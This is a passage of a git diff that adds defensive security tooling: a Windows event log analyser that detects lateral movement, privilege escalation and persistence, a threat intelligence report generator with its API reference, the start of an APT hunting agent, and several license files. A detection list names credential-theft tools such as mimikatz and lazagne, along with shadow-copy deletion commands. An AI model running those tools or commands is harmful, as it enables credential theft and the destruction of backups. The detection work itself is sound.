"Logoff", + "4648": "Explicit Credential Logon", + "4672": "Special Privileges Assigned", + "4688": "New Process Created", + "4697": "Service Installed", + "4698": "Scheduled Task Created", + "4720": "User Account Created", + "4724": "Password Reset Attempted", + "4728": "Member Added to Global Group", + "4732": "Member Added to Local Group", + "4756": "Member Added to Universal Group", + "7045": "New Service Installed (System)", +} + +LOGON_TYPES = { + "2": "Interactive", "3": "Network", "4": "Batch", "5": "Service", + "7": "Unlock", "8": "NetworkCleartext", "9": "NewCredentials", + "10": "RemoteInteractive (RDP)", "11": "CachedInteractive", +} + +SUSPICIOUS_PROCESSES = [ + "mimikatz", "psexec", "procdump", "lazagne", "sharphound", + "rubeus", "certutil", "powershell -enc", "bitsadmin", + "wmic shadowcopy delete", "vssadmin delete", "bcdedit /set", +] + + +def parse_evtx_file(evtx_path: str) -> List[dict]: + """Parse an EVTX file and return list of event records.""" + if not os.path.isfile(evtx_path): + logger.warning("EVTX file not found: %s", evtx_path) + return [] + records = [] + try: + parser = PyEvtxParser(evtx_path) + for record in parser.records_json(): + try: + data = json.loads(record["data"]) + event = data.get("Event", {}) + system = event.get("System", {}) + event_id = str(system.get("EventID", "")) + if isinstance(system.get("EventID"), dict): + event_id = str(system["EventID"].get("#text", "")) + timestamp = system.get("TimeCreated", {}).get("#attributes", {}).get("SystemTime", "") + event_data = event.get("EventData", {}) + records.append({ + "event_id": event_id, "timestamp": timestamp, + "channel": system.get("Channel", ""), + "computer": system.get("Computer", ""), + "event_data": event_data if isinstance(event_data, dict) else {}, + }) + except (json.JSONDecodeError, KeyError): + continue + except Exception as exc: + logger.error("Error parsing %s: %s", evtx_path, exc) + logger.info("Parsed %d records from %s", len(records), evtx_path) + return records + + +def filter_critical_events(records: List[dict]) -> Dict[str, List[dict]]: + """Filter records for critical security event IDs.""" + filtered = defaultdict(list) + for r in records: + if r["event_id"] in CRITICAL_EVENT_IDS: + r["description"] = CRITICAL_EVENT_IDS[r["event_id"]] + filtered[r["event_id"]].append(r) + return dict(filtered) + + +def detect_lateral_movement(records: List[dict]) -> List[dict]: + """Detect lateral movement indicators from logon events.""" + findings = [] + for r in records: + if r["event_id"] != "4624": + continue + ed = r["event_data"] + logon_type = str(ed.get("LogonType", "")) + auth_pkg = str(ed.get("AuthenticationPackageName", "")) + src_ip = ed.get("IpAddress", "-") + user = ed.get("TargetUserName", "") + if logon_type in ("3", "10") and src_ip not in ("-", "::1", "127.0.0.1"): + findings.append({ + "timestamp": r["timestamp"], "type": "lateral_movement", + "logon_type": LOGON_TYPES.get(logon_type, logon_type), + "user": user, "source_ip": src_ip, "auth_package": auth_pkg, + "pth_indicator": logon_type == "9" and "NTLM" in auth_pkg, + }) + return findings + + +def detect_privilege_escalation(records: List[dict]) -> List[dict]: + """Detect privilege escalation from group membership and special privilege events.""" + findings = [] + escalation_ids = {"4672", "4728", "4732", "4756", "4720"} + for r in records: + if r["event_id"] not in escalation_ids: + continue + ed = r["event_data"] + findings.append({ + "timestamp": r["timestamp"], "type": "privilege_escalation", + "event_id": r["event_id"], "description": CRITICAL_EVENT_IDS.get(r["event_id"], ""), + "user": ed.get("TargetUserName", ed.get("SubjectUserName", "")), + "group": ed.get("TargetDomainName", ""), + }) + return findings + + +def detect_suspicious_processes(records: List[dict]) -> List[dict]: + """Detect suspicious process creation events.""" + findings = [] + for r in records: + if r["event_id"] != "4688": + continue + ed = r["event_data"] + cmd = str(ed.get("CommandLine", ed.get("NewProcessName", ""))).lower() + process_name = str(ed.get("NewProcessName", "")).lower() + for pattern in SUSPICIOUS_PROCESSES: + if pattern in cmd or pattern in process_name: + findings.append({ + "timestamp": r["timestamp"], "type": "suspicious_process", + "matched_pattern": pattern, + "process": ed.get("NewProcessName", ""), + "command_line": str(ed.get("CommandLine", ""))[:300], + "user": ed.get("SubjectUserName", ""), + "parent": ed.get("ParentProcessName", ""), + }) + break + return findings + + +def detect_log_clearing(records: List[dict]) -> List[dict]: + """Detect audit log clearing events.""" + findings = [] + for r in records: + if r["event_id"] in ("1102", "104"): + findings.append({ + "timestamp": r["timestamp"], "type": "log_cleared", + "event_id": r["event_id"], "channel": r.get("channel", ""), + "user": r["event_data"].get("SubjectUserName", "SYSTEM"), + }) + return findings + + +def detect_persistence(records: List[dict]) -> List[dict]: + """Detect persistence mechanisms from service and scheduled task events.""" + findings = [] + for r in records: + if r["event_id"] in ("4697", "7045"): + ed = r["event_data"] + findings.append({ + "timestamp": r["timestamp"], "type": "service_install", + "service_name": ed.get("ServiceName", ""), + "image_path": ed.get("ImagePath", ed.get("ServiceFileName", "")), + "start_type": ed.get("StartType", ""), + "user": ed.get("AccountName", ed.get("SubjectUserName", "")), + }) + elif r["event_id"] == "4698": + ed = r["event_data"] + findings.append({ + "timestamp": r["timestamp"], "type": "scheduled_task", + "task_name": ed.get("TaskName", ""), + "user": ed.get("SubjectUserName", ""), + }) + return findings + + +def generate_summary(records: List[dict], findings: dict) -> dict: + """Generate analysis summary statistics.""" + event_counts = Counter(r["event_id"] for r in records) + top_events = [(eid, count, CRITICAL_EVENT_IDS.get(eid, "Other")) + for eid, count in event_counts.most_common(15)] + return { + "total_records": len(records), + "unique_event_ids": len(event_counts), + "top_events": top_events, + "lateral_movement_alerts": len(findings.get("lateral_movement", [])), + "priv_esc_alerts": len(findings.get("privilege_escalation", [])), + "suspicious_processes": len(findings.get("suspicious_processes", [])), + "log_clearing": len(findings.get("log_clearing", [])), + "persistence": len(findings.get("persistence", [])), + } + + +def export_timeline_csv(records: List[dict], output_path: str) -> None: + """Export critical events as a CSV timeline.""" + critical = [r for r in records if r["event_id"] in CRITICAL_EVENT_IDS] + critical.sort(key=lambda r: r["timestamp"]) + with open(output_path, "w", newline="", encoding="utf-8") as f: + writer = csv.writer(f) + writer.writerow(["timestamp", "event_id", "description", "computer", "details"]) + for r in critical: + desc = CRITICAL_EVENT_IDS.get(r["event_id"], "") + details = json.dumps(r["event_data"], default=str)[:300] + writer.writerow([r["timestamp"], r["event_id"], desc, r["computer"], details]) + logger.info("Timeline exported: %d events to %s", len(critical), output_path) + + +def analyze_evtx(evtx_paths: List[str], output_dir: str) -> dict: + """Run full EVTX analysis across multiple log files.""" + all_records = [] + for path in evtx_paths: + all_records.extend(parse_evtx_file(path)) + + all_records.sort(key=lambda r: r["timestamp"]) + findings = { + "lateral_movement": detect_lateral_movement(all_records), + "privilege_escalation": detect_privilege_escalation(all_records), + "suspicious_processes": detect_suspicious_processes(all_records), + "log_clearing": detect_log_clearing(all_records), + "persistence": detect_persistence(all_records), + } + + report = { + "analysis_date": datetime.utcnow().isoformat(), + "files_analyzed": evtx_paths, + "summary": generate_summary(all_records, findings), + "findings": findings, + "critical_events": filter_critical_events(all_records), + } + + export_timeline_csv(all_records, os.path.join(output_dir, "event_timeline.csv")) + return report + + +def main(): + parser = argparse.ArgumentParser(description="Windows Event Log Artifact Extraction Agent") + parser.add_argument("--evtx-dir", default="", help="Directory containing EVTX files") + parser.add_argument("--evtx-files", nargs="*", default=[], help="Specific EVTX files to parse") + parser.add_argument("--output-dir", default=".", help="Output directory") + parser.add_argument("--output", default="evtx_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + evtx_paths = list(args.evtx_files) + if args.evtx_dir and os.path.isdir(args.evtx_dir): + for f in os.listdir(args.evtx_dir): + if f.lower().endswith(".evtx"): + evtx_paths.append(os.path.join(args.evtx_dir, f)) + + if not evtx_paths: + logger.error("No EVTX files specified") + sys.exit(1) + + report = analyze_evtx(evtx_paths, args.output_dir) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report saved to %s", out_path) + print(json.dumps(report["summary"], indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/generating-threat-intelligence-reports/LICENSE b/skills/generating-threat-intelligence-reports/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/generating-threat-intelligence-reports/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/generating-threat-intelligence-reports/references/api-reference.md b/skills/generating-threat-intelligence-reports/references/api-reference.md new file mode 100644 index 00000000..cbdc8b42 --- /dev/null +++ b/skills/generating-threat-intelligence-reports/references/api-reference.md @@ -0,0 +1,80 @@ +# API Reference: Threat Intelligence Report Generator Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| jinja2 | >=3.1 | Template rendering for report generation | + +## CLI Usage + +```bash +python scripts/agent.py \ + --type operational \ + --data /cases/intel_data.json \ + --output-dir /cases/reports/ \ + --output report_meta.json +``` + +## Report Types + +| Type | Audience | Length | Frequency | +|------|----------|--------|-----------| +| strategic | C-suite, board, risk committee | 1-3 pages | Monthly/Quarterly | +| operational | CISO, security directors, IR leads | 3-8 pages | Weekly | +| tactical | SOC analysts, threat hunters | 1-2 pages | Daily/as-needed | +| flash | All security staff | 1 page max | Urgent/as-needed | + +## Functions + +### `confidence_label(level) -> str` +Maps confidence levels to ICD 203 language: "high" -> "We assess with high confidence", "medium" -> "We assess", "low" -> "Evidence suggests". + +### `render_report(report_type, data) -> str` +Renders a Jinja2 template with the provided data dict. Sets defaults for date, org, tlp. + +### `validate_report_data(report_type, data) -> list` +Validates required fields per report type. Returns list of error strings. + +### `quality_check(rendered) -> list` +Checks rendered report for: minimum length, TLP marker presence, unqualified confidence statements. + +### `generate_report(report_type, data_path, output_dir) -> dict` +Full pipeline: load JSON data, validate, render template, run quality checks, save Markdown output. + +## TLP Levels + +| Level | Sharing Scope | +|-------|---------------| +| RED | Named recipients only | +| AMBER+STRICT | Organization only | +| AMBER | Organization and trusted partners | +| GREEN | Community-wide (ISAC, sector peers) | +| CLEAR | Public distribution | + +## Input Data Schema (Operational Example) + +```json +{ + "title": "APT29 Campaign Targeting Financial Sector", + "tlp": "AMBER", + "org": "Security Operations Center", + "executive_summary": ["APT29 actively targeting financial institutions..."], + "adversary": { + "name": "APT29 / Cozy Bear", + "motivation": "Espionage", + "sophistication": "Advanced", + "target_sectors": ["Financial", "Government"] + }, + "ttps": [{"tactic": "Initial Access", "technique_id": "T1566.001", "name": "Spearphishing", "observed": "2025-03-01"}], + "key_judgments": [{"confidence": "high", "statement": "APT29 will continue targeting...", "evidence": "..."}], + "recommendations": [{"priority": "Critical", "description": "...", "owner": "SOC", "timeframe": "24h", "details": "..."}], + "iocs": [{"type": "domain", "value": "evil[.]com", "context": "C2", "confidence": "high"}] +} +``` + +## Output + +The agent produces two files: +1. `{type}_report_{date}.md` - Rendered Markdown report with TLP headers +2. `report_meta.json` - Metadata including validation errors and quality issues diff --git a/skills/generating-threat-intelligence-reports/scripts/agent.py b/skills/generating-threat-intelligence-reports/scripts/agent.py new file mode 100644 index 00000000..f2117498 --- /dev/null +++ b/skills/generating-threat-intelligence-reports/scripts/agent.py @@ -0,0 +1,289 @@ +#!/usr/bin/env python3 +"""Threat intelligence report generation agent using jinja2 for template-based reporting.""" + +import argparse +import json +import logging +import os +import sys +from datetime import datetime +from typing import Dict, List, Optional + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +try: + from jinja2 import Environment, BaseLoader +except ImportError: + sys.exit("jinja2 required: pip install jinja2") + +TLP_LEVELS = { + "RED": "Named recipients only; do not share outside the briefing room", + "AMBER+STRICT": "Organization only; no sharing with partners or subsidiaries", + "AMBER": "Organization and trusted partners with need-to-know", + "GREEN": "Community-wide sharing (ISAC members, sector peers)", + "CLEAR": "Public distribution; no restrictions", +} + +CONFIDENCE_MAP = { + "high": "We assess with high confidence", + "medium": "We assess", + "low": "Evidence suggests", +} + +REPORT_TEMPLATES = { + "strategic": """ +# {{ title }} +**TLP:{{ tlp }}** | {{ date }} | {{ org }} + +## Executive Summary +{% for point in executive_summary %} +- {{ point }} +{% endfor %} + +## Threat Landscape Overview +{{ threat_overview }} + +## Business Impact Assessment +{{ impact_assessment }} + +## Key Judgments +{% for judgment in key_judgments %} +{{ loop.index }}. {{ confidence_label(judgment.confidence) }} that {{ judgment.statement }} + - Evidence: {{ judgment.evidence }} +{% endfor %} + +## Recommended Strategic Actions +{% for action in recommendations %} +- **{{ action.priority }}** ({{ action.timeframe }}): {{ action.description }} +{% endfor %} + +## Intelligence Gaps +{% for gap in intelligence_gaps %} +- {{ gap }} +{% endfor %} + +--- +Classification: TLP:{{ tlp }} - {{ tlp_description }} +""", + "operational": """ +# {{ title }} +**TLP:{{ tlp }}** | {{ date }} | {{ org }} + +## Executive Summary +{% for point in executive_summary %} +- {{ point }} +{% endfor %} + +## Active Campaign Analysis +### Adversary Profile +- **Name**: {{ adversary.name }} +- **Motivation**: {{ adversary.motivation }} +- **Sophistication**: {{ adversary.sophistication }} +- **Target Sectors**: {{ adversary.target_sectors | join(', ') }} + +### TTPs (MITRE ATT&CK) +| Tactic | Technique ID | Technique Name | Observed | +|--------|-------------|----------------|----------| +{% for ttp in ttps %} +| {{ ttp.tactic }} | {{ ttp.technique_id }} | {{ ttp.name }} | {{ ttp.observed }} | +{% endfor %} + +## Key Judgments +{% for judgment in key_judgments %} +{{ loop.index }}. {{ confidence_label(judgment.confidence) }} that {{ judgment.statement }} +{% endfor %} + +## Defensive Recommendations +{% for action in recommendations %} +### {{ action.priority }}: {{ action.description }} +- **Owner**: {{ action.owner }} +- **Timeframe**: {{ action.timeframe }} +- **Details**: {{ action.details }} +{% endfor %} + +## IOC Summary +| Type | Value | Context | Confidence | +|------|-------|---------|------------| +{% for ioc in iocs %} +| {{ ioc.type }} | {{ ioc.value }} | {{ ioc.context }} | {{ ioc.confidence }} | +{% endfor %} + +--- +Classification: TLP:{{ tlp }} - {{ tlp_description }} +""", + "tactical": """ +# {{ title }} +**TLP:{{ tlp }}** | {{ date }} | {{ org }} + +## Summary +{{ summary }} + +## Indicators of Compromise +| Type | Value | Context | Confidence | +|------|-------|---------|------------| +{% for ioc in iocs %} +| {{ ioc.type }} | `{{ ioc.value }}` | {{ ioc.context }} | {{ ioc.confidence }} | +{% endfor %} + +## Detection Rules +{% for rule in detection_rules %} +### {{ rule.name }} ({{ rule.format }}) +``` +{{ rule.content }} +``` +{% endfor %} + +## MITRE ATT&CK Mapping +{% for ttp in ttps %} +- **{{ ttp.technique_id }}** - {{ ttp.name }}: {{ ttp.description }} +{% endfor %} + +## Patching Guidance +{% for patch in patches %} +- **{{ patch.cve }}**: {{ patch.description }} ({{ patch.severity }}) +{% endfor %} + +--- +Classification: TLP:{{ tlp }} - {{ tlp_description }} +""", + "flash": """ +# FLASH: {{ title }} +**TLP:{{ tlp }}** | {{ date }} | IMMEDIATE ACTION REQUIRED + +## What Is Happening +{{ what_is_happening }} + +## Immediate Risk +{{ immediate_risk }} + +## What To Do Right Now +{% for action in immediate_actions %} +{{ loop.index }}. {{ action }} +{% endfor %} + +## Indicators of Compromise +{% for ioc in iocs %} +- {{ ioc.type }}: `{{ ioc.value }}` +{% endfor %} + +## Additional Context +{{ context }} + +--- +Classification: TLP:{{ tlp }} - {{ tlp_description }} +Disseminated: {{ date }} +""", +} + + +def confidence_label(level: str) -> str: + """Map confidence level to ICD 203 language.""" + return CONFIDENCE_MAP.get(level.lower(), "Evidence suggests") + + +def render_report(report_type: str, data: dict) -> str: + """Render a threat intelligence report from template and data.""" + template_str = REPORT_TEMPLATES.get(report_type) + if not template_str: + raise ValueError(f"Unknown report type: {report_type}. Available: {list(REPORT_TEMPLATES.keys())}") + + data.setdefault("date", datetime.utcnow().strftime("%Y-%m-%d")) + data.setdefault("org", "Security Operations") + data.setdefault("tlp", "AMBER") + data["tlp_description"] = TLP_LEVELS.get(data["tlp"], "") + + env = Environment(loader=BaseLoader()) + env.globals["confidence_label"] = confidence_label + template = env.from_string(template_str) + return template.render(**data) + + +def validate_report_data(report_type: str, data: dict) -> List[str]: + """Validate that required fields are present for the report type.""" + errors = [] + required_all = ["title", "tlp"] + for field in required_all: + if field not in data: + errors.append(f"Missing required field: {field}") + if data.get("tlp") and data["tlp"] not in TLP_LEVELS: + errors.append(f"Invalid TLP level: {data['tlp']}. Valid: {list(TLP_LEVELS.keys())}") + + type_required = { + "strategic": ["executive_summary", "threat_overview", "key_judgments", "recommendations"], + "operational": ["executive_summary", "adversary", "ttps", "recommendations"], + "tactical": ["summary", "iocs"], + "flash": ["what_is_happening", "immediate_risk", "immediate_actions"], + } + for field in type_required.get(report_type, []): + if field not in data: + errors.append(f"Missing field for {report_type} report: {field}") + return errors + + +def quality_check(rendered: str) -> List[str]: + """Run quality checks on rendered report.""" + issues = [] + if len(rendered) < 200: + issues.append("Report is very short; may lack sufficient detail") + if "TLP:" not in rendered: + issues.append("Missing TLP classification marker") + unqualified = 0 + for keyword in ["will", "is certain", "definitely", "undoubtedly"]: + if keyword in rendered.lower(): + unqualified += 1 + if unqualified > 0: + issues.append(f"Found {unqualified} statements that may need confidence qualifiers") + return issues + + +def generate_report(report_type: str, data_path: str, output_dir: str) -> dict: + """Load data, validate, render, and save the report.""" + with open(data_path, "r") as f: + data = json.load(f) + + validation_errors = validate_report_data(report_type, data) + if validation_errors: + logger.warning("Validation issues: %s", validation_errors) + + rendered = render_report(report_type, data) + quality_issues = quality_check(rendered) + if quality_issues: + logger.warning("Quality issues: %s", quality_issues) + + report_filename = f"{report_type}_report_{datetime.utcnow().strftime('%Y%m%d')}.md" + report_path = os.path.join(output_dir, report_filename) + with open(report_path, "w", encoding="utf-8") as f: + f.write(rendered) + logger.info("Report saved to %s", report_path) + + return { + "report_type": report_type, + "output_path": report_path, + "tlp": data.get("tlp", "AMBER"), + "validation_errors": validation_errors, + "quality_issues": quality_issues, + "rendered_length": len(rendered), + } + + +def main(): + parser = argparse.ArgumentParser(description="Threat Intelligence Report Generator") + parser.add_argument("--type", required=True, choices=list(REPORT_TEMPLATES.keys()), + help="Report type: strategic, operational, tactical, flash") + parser.add_argument("--data", required=True, help="Path to JSON data file with report content") + parser.add_argument("--output-dir", default=".", help="Output directory") + parser.add_argument("--output", default="report_meta.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + result = generate_report(args.type, args.data, args.output_dir) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(result, f, indent=2) + logger.info("Metadata saved to %s", out_path) + print(json.dumps(result, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/hardening-docker-containers-for-production/LICENSE b/skills/hardening-docker-containers-for-production/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hardening-docker-containers-for-production/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hardening-docker-daemon-configuration/LICENSE b/skills/hardening-docker-daemon-configuration/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hardening-docker-daemon-configuration/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hardening-linux-endpoint-with-cis-benchmark/LICENSE b/skills/hardening-linux-endpoint-with-cis-benchmark/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hardening-linux-endpoint-with-cis-benchmark/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hardening-windows-endpoint-with-cis-benchmark/LICENSE b/skills/hardening-windows-endpoint-with-cis-benchmark/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hardening-windows-endpoint-with-cis-benchmark/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-advanced-persistent-threats/LICENSE b/skills/hunting-advanced-persistent-threats/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-advanced-persistent-threats/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-advanced-persistent-threats/references/api-reference.md b/skills/hunting-advanced-persistent-threats/references/api-reference.md new file mode 100644 index 00000000..1f4c8671 --- /dev/null +++ b/skills/hunting-advanced-persistent-threats/references/api-reference.md @@ -0,0 +1,51 @@ +# API Reference: Hunting Advanced Persistent Threats + +## Libraries + +### attackcti (MITRE ATT&CK CTI Library) +- **Install**: `pip install attackcti` +- **Docs**: https://attackcti.readthedocs.io/ +- `attack_client()` -- Initialize the ATT&CK STIX/TAXII client +- `get_groups()` -- Retrieve all threat actor groups from ATT&CK +- `get_techniques_used_by_group(group)` -- Get techniques mapped to a specific group +- `get_techniques()` -- List all ATT&CK techniques +- `get_mitigations()` -- List all mitigations + +### mitreattack-python (ATT&CK STIX Data) +- **Install**: `pip install mitreattack-python` +- **Docs**: https://mitreattack-python.readthedocs.io/ +- `MitreAttackData(stix_filepath)` -- Load ATT&CK STIX bundle +- `get_groups()` -- All threat groups +- `get_techniques_used_by_group(group_stix_id)` -- Techniques per group +- `get_attack_campaigns()` -- Known campaigns + +### osquery +- **Docs**: https://osquery.readthedocs.io/ +- `scheduled_tasks` -- Windows scheduled tasks table +- `processes` -- Running process information +- `process_open_sockets` -- Network connections per process +- `autoexec` -- Auto-start execution points +- `file` -- File metadata queries + +## Key ATT&CK Technique IDs + +| ID | Name | Relevance | +|----|------|-----------| +| T1059 | Command and Scripting Interpreter | Process-based hunting | +| T1053 | Scheduled Task/Job | Persistence detection | +| T1071 | Application Layer Protocol | C2 communication | +| T1055 | Process Injection | In-memory threats | +| T1003 | OS Credential Dumping | Credential theft | +| T1566 | Phishing | Initial access vector | +| T1218 | Signed Binary Proxy Execution | Defense evasion | + +## Sigma Rule Format +- **Spec**: https://sigmahq.io/docs/basics/rules.html +- Fields: `title`, `status`, `logsource`, `detection`, `level` +- Converters: `sigma-cli` converts to Splunk SPL, Elastic EQL, Sentinel KQL + +## External References +- MITRE ATT&CK Groups: https://attack.mitre.org/groups/ +- ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/ +- Velociraptor VQL: https://docs.velociraptor.app/docs/vql/ +- Zeek Documentation: https://docs.zeek.org/en/current/ diff --git a/skills/hunting-advanced-persistent-threats/scripts/agent.py b/skills/hunting-advanced-persistent-threats/scripts/agent.py new file mode 100644 index 00000000..d226c9e3 --- /dev/null +++ b/skills/hunting-advanced-persistent-threats/scripts/agent.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python3 +"""APT threat hunting agent using MITRE ATT&CK, attackcti, and osquery.""" + +import json +import sys +import argparse +from datetime import datetime, timedelta + +try: + from attackcti import attack_client +except ImportError: + print("Install attackcti: pip install attackcti") + sys.exit(1) + + +def get_apt_group_ttps(group_name): + """Retrieve TTPs for a specific APT group from MITRE ATT&CK.""" + client = attack_client() + groups = client.get_groups() + target = None + for g in groups: + aliases = [a.lower() for a in g.get("aliases", [])] + if group_name.lower() in g["name"].lower() or group_name.lower() in aliases: + target = g + break + if not target: + print(f"[!] Group '{group_name}' not found in ATT&CK") + return None + techniques = client.get_techniques_used_by_group(target) + return {"group": target["name"], "id": target["external_references"][0]["external_id"], + "techniques": [{"id": t["external_references"][0]["external_id"], + "name": t["name"], + "tactic": [p["phase_name"] for p in t.get("kill_chain_phases", [])]} + for t in techniques]} + + +def generate_osquery_hunts(techniques): + """Generate osquery hunt queries for detected ATT&CK techniques.""" + query_map = { + "T1059": ("Process execution (Command and Scripting)", + "SELECT pid, name, cmdline, path, parent FROM processes " + "WHERE name IN ('powershell.exe','cmd.exe','wscript.exe','cscript.exe','bash','python');"), + "T1053": ("Scheduled Task/Job persistence", + "SELECT name, action, path, enabled, last_run_time FROM scheduled_tasks " + "WHERE enabled=1 AND action NOT LIKE '%System32%';"), + "T1547": ("Boot/Logon autostart execution", + "SELECT name, path, source FROM autoexec;"), + "T1071": ("Application layer 